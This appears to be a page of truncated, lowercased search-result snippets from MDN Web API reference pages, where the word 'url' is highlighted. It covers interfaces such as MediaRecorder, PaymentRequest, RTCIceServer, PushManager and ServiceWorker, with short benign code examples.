sizes specifies the resource in multiple sizes so that user agent does not have to scale a single image. type the mime type hint for the user agant. ...
MediaRecorder.ondataavailable - Web APIs
ction(event) { ... } mediarecorder.addeventlistener('dataavailable', function(event) { ... }) example ... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.ondataavailable' in that specification. working draft initial definition ...
MediaRecorder.onstop - Web APIs
x mediarecorder.onstop = function(event) { ... } mediarecorder.addeventlistener('stop', function(event) { ... }) example ... mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstop' in that specification. working draft initial definition ...
MediaRecorder - Web APIs
''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; var audio
url =
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); deletebutton.onclick = function(e) { evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } }) .catch(function(err) { console.log('the following erro...
MediaSource.duration - Web APIs
ted (i.e. their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ... specifications specification status comment media source extensionsthe definition of 'duration...
MediaSource.sourceBuffers - Web APIs
ffers = mediasource.sourcebuffers; value a sourcebufferlist. example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source buffer that was added above video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ... specifications specification status ...
Media Source API - Web APIs
number of dropped or corrupted frames. returned by the htmlvideoelement.getvideoplaybackquality() method. trackdefault provides a sourcebuffer with kind, label, and language information for tracks that do not contain this information in the initialization segments of a media chunk. trackdefaultlist a simple container list for multiple trackdefault objects. extensions to other interfaces
url.createobject
url() creates an object
url pointing to a mediasource object that can then be specified as the src value of an html media element to play a media stream. htmlmediaelement.seekable when a mediasource object is played by an html media element, this property will return a timeranges object that contains the time ranges that the user is able to seek to. htmlvideoelement.getvideoplayba...
Media Capture and Streams API (Media Stream) - Web APIs
need to know about each of the interfaces that make up the media capture and streams api. blobevent canvascapturemediastreamtrack inputdeviceinfo mediadevicekind mediadeviceinfo mediadevices mediastream mediastreamconstraints mediastreamevent mediastreamtrack mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints overconstrainederror
url early versions of the media capture and streams api specification included separate audiostreamtrack and videostreamtrack interfaces—each based upon mediastreamtrack—which represented streams of those types. these no longer exist, and you should update any existing code to instead use mediastreamtrack directly. events addtrack ended muted overconstrained removetrack started unmu...
Microsoft API extensions - Web APIs
ssetvideorectangle msstereo3dpackingmode msstereo3drendermode onmsvideoformatchanged onmsvideoframestepcompleted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconvert
url() mselementresize document.mselementsfromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilermark ...
msPlayToPreferredSourceUri - Web APIs
ts the path to the preferred media source. this enables the playto target device to stream the media content, which can be drm protected, from a different location, such as a cloud media server. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or
url) for streaming content on the playto target device from a different location, such as a cloud media server. this enables web pages and microsoft store apps to play digital rights management (drm) protected content. the app specifies a preferred uniform resource identifier (uri). this uri can point to a cloud based media server allowing streaming directly from the cloud, which can be drm protected...
Navigator.msLaunchUri() - Web APIs
as an email client, that handles a given protocol. the uniform resource identifier (uri) contains the protocol for the default service or app, such as mailto://test@contoso.com. this proprietary method is specific to internet explorer, and microsoft edge versions 18 and lower. syntax navigator.mslaunchuri(uri, successcallback, nohandlercallback); parameters uri a domstring specifying the
url containing including the protocol of the document or resource to be displayed. successcallbackoptional a function matching the signature of mslaunchuricallback to be executed if the protocol handler is present. nohandlercallbackoptional a function matching mslaunchuricallback to be executed if the protocol handler is not present. return value undefined. usage notes if a default pro...
Node - Web APIs
30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties in addition to the properties below, node inherits properties from its parent, eventtarget. node.baseuriread only returns a domstring representing the base
url of the document containing the node. node.baseuriobject read only (not available to web content.) the nsiuri object representing the base uri for the element. node.childnodesread only returns a live nodelist containing all the children of this node. nodelist being live means that if the children of the node change, the nodelist object is automatically updated. node.firstchildread only ...
Notification.badge - Web APIs
note: this feature is available in web workers. the badge property of the notification interface returns the
url of the image used to represent the notification when there is not enough space to display the notification itself. syntax var
url = notification.badge value a usvstring containing a
url. specifications specification status comment notifications apithe definition of 'badge' in that specification. living standard initial definition. ...
Notification.icon - Web APIs
syntax var icon = notification.icon; value a usvstring. examples in our to-do list app (view the app running live), we use the notification() constructor to fire a notification, passing it arguments to specify the body, icon and title we want. ...
NotificationAction - Web APIs
cation. properties instance properties these properties are available only on instances of the notification object. notificationaction.action read only the name of the action, which can be used to identify the clicked action similar to input names. notificationaction.title read only the string describing the action that is displayed to the user. notificationaction.icon read only the
url of the image used to represent the notification when there is not enough space to display the notification itself. example notifications can fire notificationclick events on the serviceworkerglobalscope. here a service worker shows a notification with a single "archive" action, allowing users to perform this common task from the notification without having to open the website. the user can al...
PaintWorklet - Web APIs
trates loading the above worklet from its js file and does so by feature detection. <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> use a paintworklet this example shows how to use a paintworklet in a stylesheet, including the simplest way to provide a fallback if paintworklet isn't supported. <style> textarea { background-image:
url(checkerboard); background-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule. @supports (background: paint(id)) { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification. working draft init...
PasswordCredential - Web APIs
ect. in supporting browsers, an instance of this class may be passed the credential from the init object for global fetch. syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: icon
url: (optional) the
url of a user's avatar image. id: the id of the user signing in. name: (optional) the name of the user signing in. password: the password of the user signing in. htmlformelement a reference to an htmlformelement with appropriate input fields. the form should, at the very least, contain an id and password. it could also require a csrf token. examples this example sho...
PaymentMethodChangeEvent.methodName - Web APIs
payment handler may support multiple payment methods; changes to the payment method within the payment handler are described by the paymentmethodchangeevent. syntax var methodname = paymentmethodchangeevent.methodname; value a domstring which uniquely identifies the currently-selected payment handler. this may be a string chosen from the list of standardized payment method identifiers, or a
url used by the payment processing service. see payment method identifiers in payment request api for more information. the default value is the empty string, "". example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method. request.onpaymentm...
PaymentMethodChangeEvent - Web APIs
uestupdateevent. methoddetails read only secure context an object containing payment method-specific data useful when handling a payment method change. if no such information is available, this value is null. methodname read only secure context a domstring containing the payment method identifier, a string which uniquely identifies a particular payment method. this identifier is usually a
url used during the payment process, but may be a standardized non-
url string as well, such as basic-card. the default value is the empty string, "". methods this interface includes methods inherited from paymentrequestupdateevent. specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent' in that specification. candidat...
PaymentRequest.onmerchantvalidation - Web APIs
o be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate themselves as allowed to use this payment handler. examples an example merchant validation handler for the paymentrequest object request looks like this: request.onmerchantvalidation = ev => { ev.complete(async () => { const merchantserver
url = window.location.origin + '/validation?
url=' + encodeuricomponent(ev.validation
url); // get validation data, and complete validation; return await fetch(merchantserver
url).then(r => r.text()); }) }; const response = await request.show(); for more information, see merchant validation in payment processing concepts. specifications specification status comment ...
PaymentRequestEvent - Web APIs
ymentrequestidread only returns the id of the paymentrequest object. paymentrequestoriginread only returns the origin where the paymentrequest object was initialized. toporiginread only returns the top-level origin where the paymentrequest object was initialized. totalread only returns the total amount being requested for payment. methods openwindow() opens the specified
url in a new window, if and only if the given
url is on the same origin as the calling page. it returns a promise that resolves with a reference to a windowclient. respondwith() prevents the default event handling and allows you to provide a promise for a paymentresponse object yourself. specifications specification status comment payment handler apithe definition of 'pa...
PaymentResponse.methodName - Web APIs
the methodname read-only property of the paymentresponse interface returns a string uniquely identifying the payment handler selected by the user. this string may be either one of the standardized payment method identifiers or a
url used by the payment handler to process payments. syntax var methodname = paymentresponse.methodname; value a domstring uniquely identifying the payment handler being used to process the payment. this may be either a standardized identifier, or a
url used by the payment processor to handle payments. see merchant validation in payment processing concepts for more information. example the following example extracts the method name from the paymentresponse object to the promise returned from paymentrequest.show(). in a real-world implementation this data woul...
PerformanceEntry.entryType - Web APIs
pe = entry.entrytype; return value the return value depends on the subtype of the performanceentry object and affects the value of the performanceentry.name property as shown by the table below. performance entry type names value subtype type of name property description of name property frame, navigation performanceframetiming, performancenavigationtiming
url the document's address. resource performanceresourcetiming
url the resolved
url of the requested resource. this value doesn't change even if the request is redirected. mark performancemark domstring the name used when the mark was created by calling performance.mark(). measure performancemeasure domstring name used when the measure was crea...
PerformanceEntry.name - Web APIs
e returned by the performanceentry.entrytype property. this property is read only. note: this feature is available in web workers. syntax var name = entry.name; return value the return value depends on the subtype of the performanceentry object and the value of performanceentry.entrytype, as shown by the table below. value subtype entrytype values description
url performanceframetiming, performancenavigationtiming frame, navigation the document's address.
url performanceresourcetiming resource the resolved
url of the requested resource. this value doesn't change even if the request is redirected. domstring performancemark mark the name used when the mark was created by calling performance.mark(). domst...
PerformanceEventTiming - Web APIs
d cases where the visibility state changes before this code runs. let firsthiddentime = document.visibilitystate === 'hidden' ? 0 : infinity; document.addeventlistener('visibilitychange', (event) => { firsthiddentime = math.min(firsthiddentime, event.timestamp); }, {once: true}); // sends the passed data to an analytics endpoint. this code // uses `/analytics`; you can replace it with your own
url. function sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.sendbeacon()` if available, falling back to `fetch()`. (navigator.sendbeacon && navigator.sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using...
PerformanceNavigation.type - Web APIs
rmancenavigationtiming interface instead. the legacy performancenavigation.type read-only property returns an unsigned short containing a constant describing how the navigation to this page was done. possible values are: value constant name meaning 0 type_navigate the page was accessed by following a link, a bookmark, a form submission, a script, or typing the
url in the address bar. 1 type_reload the page was accessed by clicking the reload button or via the location.reload() method. 2 type_back_forward the page was accessed by navigating into the history. 255 type_reserved any other way. syntax type = performancenavigation.type; specifications specification status comment navi...
PerformanceNavigation - Web APIs
g the performance.navigation read-only attribute. properties the performancenavigation interface doesn't inherit any properties. performancenavigation.type read only an unsigned short which indicates how the navigation to this page was done. possible values are: type_navigate (0) the page was accessed by following a link, a bookmark, a form submission, or a script, or by typing the
url in the address bar. type_reload (1) the page was accessed by clicking the reload button or via the location.reload() method. type_back_forward (2) the page was accessed by navigating into the history. type_reserved (255) any other way. performancenavigation.redirectcount read only an unsigned short representing the number of redirects done before reaching the page. methods ...
PerformanceNavigationTiming.type - Web APIs
reload navigation is through the browser's reload operation or location.reload(). back_forward navigation is through the browser's history traversal operation. prerender navigation is initiated by a prerender hint. this property is read only . ...
PerformanceResourceTiming - Web APIs
g></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this feature is available in web workers. properties this interface extends the following performanceentry properties for resource performance entry types by qualifying and constraining them as follows: performanceentry.entrytyperead only returns "resource". performanceentry.nameread only returns the resources
url. performanceentry.starttimeread only returns the timestamp for the time a resource fetch started. this value is equivalent to performanceentry.fetchstart. performanceentry.durationread only returns a timestamp that is the difference between the responseend and the starttime properties. the interface also supports the following properties which are listed in the order in which they are rec...
PublicKeyCredential.id - Web APIs
the id read-only property of the publickeycredential interface is a domstring, inherited from credential, which represents the identifier of the current publickeycredential instance. this property is a base64
url encoded version of publickeycredential.rawid. note: this property may only be used in top-level contexts and will not be available in an <iframe> for example. syntax id = publickeycredential.id value a domstring being the base64
url encoded version of publickeycredential.rawid. examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john d...
PublicKeyCredential.rawId - Web APIs
note: this property may only be used in top-level contexts and will not be available in an <iframe> for example. syntax rawid = publickeycredential.rawid value a arraybuffer containing the identifier of the credentials. ...
PublicKeyCredential - Web APIs
d federatedcredential. note: this api is restricted to top-level contexts. use from within an <iframe> element will not have any effect. properties publickeycredential.type read only secure context inherited from credential. always set to public-key for publickeycredential instances. publickeycredential.id read only secure context inherited from credential and overridden to be the base64
url encoding of publickeycredential.rawid. publickeycredential.rawid read only secure context an arraybuffer that holds the globally unique identifier for this publickeycredential. this identifier can be used to look up credentials for future calls to credentialscontainer.get. publickeycredential.response read only secure context an instance of an authenticatorresponse object. it is either of ty...
PublicKeyCredentialCreationOptions.user - Web APIs
cribing the user account for which the credentials are generated (via navigator.credentials.create()). syntax useraccount = publickeycredentialcreationoptions.user properties displayname a domstring which is human readable and intended for display. it may be the full name of the user (e.g. "john doe"). this is not intended to store the login of the user (see name below). icon optional an
url as a usvstring value which points to an image resource which can be the avatar image for the user. id a buffersource uniquely identifying a given user. this an opaque identifier which can be used by the authenticator to link the user account with its corresponding credentials. this value will later be used when fetching the credentials in authenticatorassertionresponse.userhandle. name a doms...
PushManager.register() - Web APIs
the register method is used to ask the system to request a new endpoint for notifications. this method has been superceded by pushmanager.subscribe(). syntax var request = navigator.push.register(); return a domrequest object to handle the success or failure of the method call. if the method call is successful, the request's result will be a string, which is the endpoint
url. note: if you do not need the
url any more, please use pushmanager.unregister() to clean up after yourself. example var req = navigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a new endpoint: " + json.stringify(e)); } specification specification status comment ...
PushManager.registrations() - Web APIs
point registrations. syntax var request = navigator.push.registrations(); return a domrequest object to handle the success or failure of the method call. if the method call is successful, the request's result will be an array of pushregistration objects. pushregistration those objects are anonymous javascript objects with the following properties: pushendpoint a string representing the
url of the endpoint. version the current version that the push endpoint is at. example var req = navigator.push.registrations(); req.onsuccess = function(e) { if (req.result.length > 0) { for (var i = 0, l = req.result.length; i < l; i++) { console.log("existing registration", req.result[i].pushendpoint, req.result[i].version); } // reuse existing endpoints. } else { /...
PushManager.unregister() - Web APIs
pushendpoint to be unregistered. return a domrequest object to handle the success or failure of the method call. if the method call is successful, the request's result will be a pushregistration object representing the endpoint that has been unregistered. pushregistration those objects are anonymous javascript objects with the following properties: pushendpoint a string representing the
url of the unregistered endpoint. version undefined when unregister.onsuccess is called. example var req = navigator.push.unregister(pushendpoint); req.onsuccess = function(e) { var endpoint = req.result; debug("unregistered endpoint: " + endpoint ); } req.onerror = function(e) { debug("error unregistering the endpoint: " + json.stringify(e)); } specification specification ...
PushManager - Web APIs
this interface is accessed via the serviceworkerregistration.pushmanager property. note: this interface replaces functionality previously offered by the obsolete pushregistrationmanager interface. properties pushmanager.supportedcontentencodings returns an array of supported content codings that can be used to encrypt the payload of a push message. methods pushmanager.getsubscription() retrieves an existing push subscription. ...
PushSubscription.endpoint - Web APIs
for this reason, it is a good idea to keep your endpoint a secret, so others do not hijack it and abuse the push functionality. syntax var myend = pushsubscription.endpoint; value a usvstring. ...
PushSubscription - Web APIs
an instance of this interface can be serialized. properties pushsubscription.endpoint read only a usvstring containing the endpoint associated with the push subscription. pushsubscription.expirationtime read only a domhighrestimestamp of the subscription expiration time associated with the push subscription, if there is one, or null otherwise. pushsubscription.options read only an object containing the options used to create the subscription. ...
RTCConfiguration.bundlePolicy - Web APIs
e. all current major browsers are bundle compatible. examples the following example creates a new rtcpeerconnection with a configuration setting the connection's bundlepolicy to max-compat to maximize compatibility while attempting to optimize network use. it also specifies stun:stun.example.com as the stun server for ice to use during negotiation. let config = { iceservers: [ {
urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification. candidate recommendation initial definition. ...
RTCConfiguration.iceTransportPolicy - Web APIs
iving the user's ip addresses, which may be important in some security situations. for example, in a video calling application, the app may want to prevent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call. examples in this example, a new connection is configured to only accept relay candidates. let config = { iceservers: [ {
urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification. candidate recommendation initial definition. ...
RTCIceCandidate.address - Web APIs
pplications being built with user privacy and security in mind can choose to limit the permitted candidates to relay candidates only. doing so prevents the remote user's address from being exposed, but reduces the pool of available candidates to choose from. to do this, configure the ice agent's ice transport policy using rtcconfiguration, like this: var rtcconfig = { iceservers: [ {
urls: "turn:myturn.server.ip", username: "username", credential: "password" } ], icetransportpolicy: "relay" } by setting rtcconfiguration.icetransportpolicy to "relay", any host candidates (candidates where the ip address is the peer's own ip address) are left out of the pool of candidates, as are any other candidates which aren't relay candidates. usage notes consider this s...
RTCIceCandidateStats - Web APIs
he port. relayprotocol optional a string identifying the protocol used by the endpoint for communicating with the turn server; valid values are tcp, udp, and tls. only present for local candidates. transportid optional a string uniquely identifiying the transport object that was inspected in order to obtain the rtctransportstats associated with the candidate correspondin to these statistics.
url optional for local candidates, the
url property is the
url of the ice server from which the candidate was received. this
url matches the one included in the rtcpeerconnectioniceevent object representing the icecandidate event that delivered the candidate to the local peer. example this example features a function, isusablenetworktype(), whose job it is to look at an rtcicecandidatestats objec...
RTCIceServer.credential - Web APIs
}; var credential = iceserver.credential; iceserver.credential = newcredential; example this example creates a new rtcpeerconnection which uses a turn server at turnserver.example.org to negotiate connections. logging into the turn server uses the username "webrtc" and the creative password "turnpassword". mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification. candidate recommendation initial specification. ...
RTCIceServer.credentialType - Web APIs
equires a username and password to authenticate prior to using the described ice server. example this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword", credentialtype: "password" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification. candidate recommendation initial specifica...
RTCIceServer.username - Web APIs
}; var username = iceserver.username; iceserver.username = newusername; example this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification. candidate recommendation initial specification. ...
RTCIdentityErrorEvent - Web APIs
that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityerrorevent being an event, this event also implements these properties. rtcidentityerrorevent.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. rtcidentityerrorevent.login
url read only is a domstring giving the
url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). rtcidentityerrorevent.protocol read only is a domstring describing the idp protocol in use. methods a rtcidentityerrorevent being an event, this event also implements these properties. there is no specific rtcidentityerrorevent method. ex...
RTCPeerConnection.setIdentityProvider() - Web APIs
tate is set to "closed", an invalidstateerror is raised. syntax pc.setidentityprovider(domainname [, protocol] [, username]); there is no return value for this method. parameters domainname is a domstring is the domain name where the idp is. protocol optional is a domstring representing the protocol used to communicate with the idp. it defaults to "default" and is used to determine the
url where the idp is listening. username optional is a domstring representing the username associated with the idp. example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification. candidate re...
RTCPeerConnection: track event - Web APIs
interface rtctrackevent event handler property ontrack by the time this event is delivered, the new track has been fully added to the peer connection. see track event types in rtctrackevent for details. examples this example shows code that creates a new rtcpeerconnection, then adds a new track event handler. pc = new rtcpeerconnection({ iceservers: [ {
urls: "turn:fake.turnserver.
url", username: "someusername", credential: "somepassword" } ] }); pc.addeventlistener("track", e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <video> element, identified using the variable videoelement. you can also assign the event handl...
RTCPeerConnectionIceErrorEvent.address - Web APIs
describing the local network interface for the connection as well as the ice server that was being used to try to open the connection, then calls a function to display those as well as the event's errortext property's contents. pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.
url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification. candidate recommendation initial definition. ...
RTCPeerConnectionIceEvent() - Web APIs
options); parameters type is a domstring containing the name of the event, like "icecandidate". options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event. if null, the event indicates the end of candidate gathering. "
url" (optional, default is null): the
url of the stun or turn server which was used to gather the candidate. if the candidate was not gathered by a stun or turn server, this value must be null. "bubbles" (optional, default is false): inherited from eventinit(), this boolean option indicates whether or not the event must bubble. "cancelable" (optional, default is false, inherited from eventinit(),...
RTCStatsReport - Web APIs
rovides statistics about a specific rtcrtpreceiver. the statistics object is an rtcaudioreceiverstats object if kind is audio; if kind is video, the object is an rtcvideoreceiverstats object. remote-candidate the report is an rtcicecandidatestats object containing statistics about the remote candidate's rtcicetransport. this may include information such as the type of network, the protocol, the
url, the type of relay being used, and so forth. remote-inbound-rtp the report is an rtcremoteinboundrtpstreamstats object providing statistics about your outbound rtp data stream, but from the perspective of the remote peer. that is, this information is about your outbound-rtp stream, but as seen by the remote device that's handling the stream. you can use this information to do things like determ...
RTCStatsType - Web APIs
rovides statistics about a specific rtcrtpreceiver. the statistics object is an rtcaudioreceiverstats object if kind is audio; if kind is video, the object is an rtcvideoreceiverstats object. remote-candidate the report is an rtcicecandidatestats object containing statistics about the remote candidate's rtcicetransport. this may include information such as the type of network, the protocol, the
url, the type of relay being used, and so forth. remote-inbound-rtp the report is an rtcremoteinboundrtpstreamstats object providing statistics about your outbound rtp data stream, but from the perspective of the remote peer. that is, this information is about your outbound-rtp stream, but as seen by the remote device that's handling the stream. you can use this information to do things like determ...
Report - Web APIs
e. this contains the list of reports currently contained in the observer's report queue. by sending requests to the endpoints defined via the report-to http header. properties report.body read only the body of the report, which is a reportbody object containing the detailed report information. report.type read only the type of report generated, e.g. deprecation or intervention. report.
url read only the
url of the document that generated the report. methods this interface has no methods defined on it. events this interface has no events that fire on it. examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = n...
Reporting API - Web APIs
). the reporting api's purpose is to provide a consistent reporting mechanism that can be used to make such information available to developers in the form of reports represented by javascript objects. there are a few ways to use it, which are detailed in the sections below. origins and endpoints each unique origin you want to retrieve reports for can be given a series of endpoints, which are
urls that can receive given reports from a user agent. the report-to http header is used to specify details about the different endpoints that a user-agent has available to it for delivering reports to. you can then retrieve reports by making a request to those
urls. the endpoints are arranged into groups; an endpoint group can work together to provide load balancing (each endpoint will receive a s...
Request.context - Web APIs
the deprecated context read-only property of the request interface contains the context of the request (e.g., audio, image, iframe). this defines what sort of resource is being fetched. this has been replaced by the destination property. the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the
url is for an image, or an embeddable object such as a <video>, iframe, etc. note: you can find a full list of the different available contexts including associated context frame types, csp directives, and platform feature examples in the fetch spec request context section. syntax var mycontext = request.context; value a requestcontext value. example in the following snippet, we create a new request using the request.reques...
Request.credentials - Web APIs
rom the other domain in the case of cross-origin requests. syntax var mycred = request.credentials; value a requestcredentials dictionary value indicating whether the user agent should send cookies from the other domain in the case of cross-origin requests. possible values are: omit: never send or receive cookies. same-origin: send user credentials (cookies, basic http auth, etc..) if the
url is on the same origin as the calling script. this is the default value. include: always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls. this is similar to xhr’s withcredentials flag, but with three available values instead of two. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the...
Response() - Web APIs
the response() constructor creates a new response object. syntax var myresponse = new response(body, init); parameters body optional an object defining a body for the response. this can be null (which is the default value), or one of: blob buffersource formdata readablestream
urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value). the possible options are: status: the status code for the reponse, e.g., 200. statustext: the status message associated with the status code, e.g., ok. headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for a...
Response.redirect() - Web APIs
the redirect() method of the response interface returns a response resulting in a redirect to the specified
url. note: this is mainly relevant to the serviceworker api. a controlling service worker could intercept a page's request and redirect it as desired. this will actually lead to a real redirect if a service worker sends it upstream. syntax var response = response.redirect(
url, status); parameters
url the
url that the new response is to originate from. status optional an optional status code for the response (e.g., 302.) return value a response object. exceptions exception explanation rangeerror the specified status is not a redirect status. typeerror the specified
url is invalid. example responseobj.redirect('https://www.
SVGAElement - Web APIs
nts properties from svgurireference and htmlhyperlinkelementutils. svgaelement.download see htmlanchorelement.download. svgaelement.href see htmlanchorelement.href. svgaelement.hreflang is a domstring that reflects the hreflang attribute, indicating the language of the linked resource. svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of
urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. svgaelement.referrerpolicy see htmlanchorelement.referrerpolicy. svgaelement.rel see htmlanchorelement.rel. svgaelement.rellist see htmlanchorelement.rellist. svgaelement.target read only it corresponds to the target attribute of the gi...
SecurityPolicyViolationEvent.referrer - Web APIs
the referrer read-only property of the securitypolicyviolationevent interface is a usvstring representing the referrer of the resources whose policy was violated. this will be a
url or null. syntax let referrer = violationeventinstance.referrer; value a usvstring representing the
url of the referrer of the violating resources. example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification. working draft initial definition ...
SecurityPolicyViolationEvent - Web APIs
typolicyviolationevent.linenumberread only the line number in the document or worker at which the violation occurred. securitypolicyviolationevent.originalpolicyread only a domstring containing the policy whose enforcement uncovered the violation. securitypolicyviolationevent.referrerread only a usvstring representing the referrer of the resources whose policy was violated. this will be a
url or null. securitypolicyviolationevent.sampleread only a domstring representing a sample of the resource that caused the violation, usually the first 40 characters. this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample. securitypolicyviolationevent.sourcefileread only a usvstring represen...
Using server-sent events - Web APIs
d, but the client side code works almost identically to websockets in part of handling incoming events. this is one-way connection, so you can't send events from a client to a server. receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a new eventsource object with the
url of a script that generates the events. for example: const evtsource = new eventsource("ssedemo.php"); if the event generator script is hosted on a different origin, a new eventsource object should be created with both the
url and an options dictionary. for example, assuming the client script is on example.com: const evtsource = new eventsource("//api.example.com/ssedemo.php", { withcredentials...
ServiceWorker - Web APIs
cessfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events — install and activate — and functional events including fetch. a serviceworker object has an associated serviceworker.state, related to its lifecycle. properties the serviceworker interface inherits properties from its parent, worker. serviceworker.script
url read only returns the serviceworker serialized script
url defined as part of serviceworkerregistration. the
